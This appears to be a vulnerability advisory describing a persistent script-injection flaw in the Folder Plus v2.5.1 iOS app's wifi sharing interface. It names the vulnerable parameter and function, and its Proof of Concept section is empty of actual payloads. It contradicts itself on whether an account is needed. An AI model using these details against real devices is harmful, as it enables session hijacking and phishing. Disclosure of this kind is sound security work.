Medium
Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered in the official Folder Plus v2.5.1 iOS mobile application.
The issue allows an attacker to inject own script code as payload to the application-side of the vulnerable service function or module.
The vulnerability is located in the delete item message context of the wifi interface listing module. The issue allows remote attackers
to inject own persistent script codes by usage of the vulnerable create folder function. The attacker injects a script code payloads and
waits for a higher privileged delete of the item to execute the script codes. The execution of the injected script code occurs in the
delete message context to confirm to erase. The attack vector is persistent on the application-side and the request method to execute
is GET. The issue allows to stream persistent malicious script codes to the front site wifi root path.
The security risk of the application-side web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 2.5.
Exploitation of the application-side web vulnerability requires a low privileged web-application user account and low or medium user interaction.
Successful exploitation of the vulnerabilities result in persistent phishing, session hijacking, persistent external redirect to malicious
sources and application-side manipulation of affected or connected module context.
Request Method(s):
[+] GET
Vulnerable Module(s):
[+] Wifi Sharing
Vulnerable Function(s):
[+] Delete Item
Vulnerable Parameter(s):
[+] items name
Affected Module(s):
[+] Wifi Interface - Root Index
Proof of Concept (PoC):
=======================
The persistent input validation web vulnerability can be exploited by remote attackers without privileged application user account and with
low or medium user interaction. For security demonstration or to reproduce the issue follow the provided information and steps below to continue.

Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure restriction implementation and filter mechanism on new folder inputs.
After the restriction the input needs to be encoded or parsed to prevent the persistent script code execution in the delete function.
Security Risk:
==============
The security risk of the persistent input validation web vulnerability in the delete item function is estimated as medium.
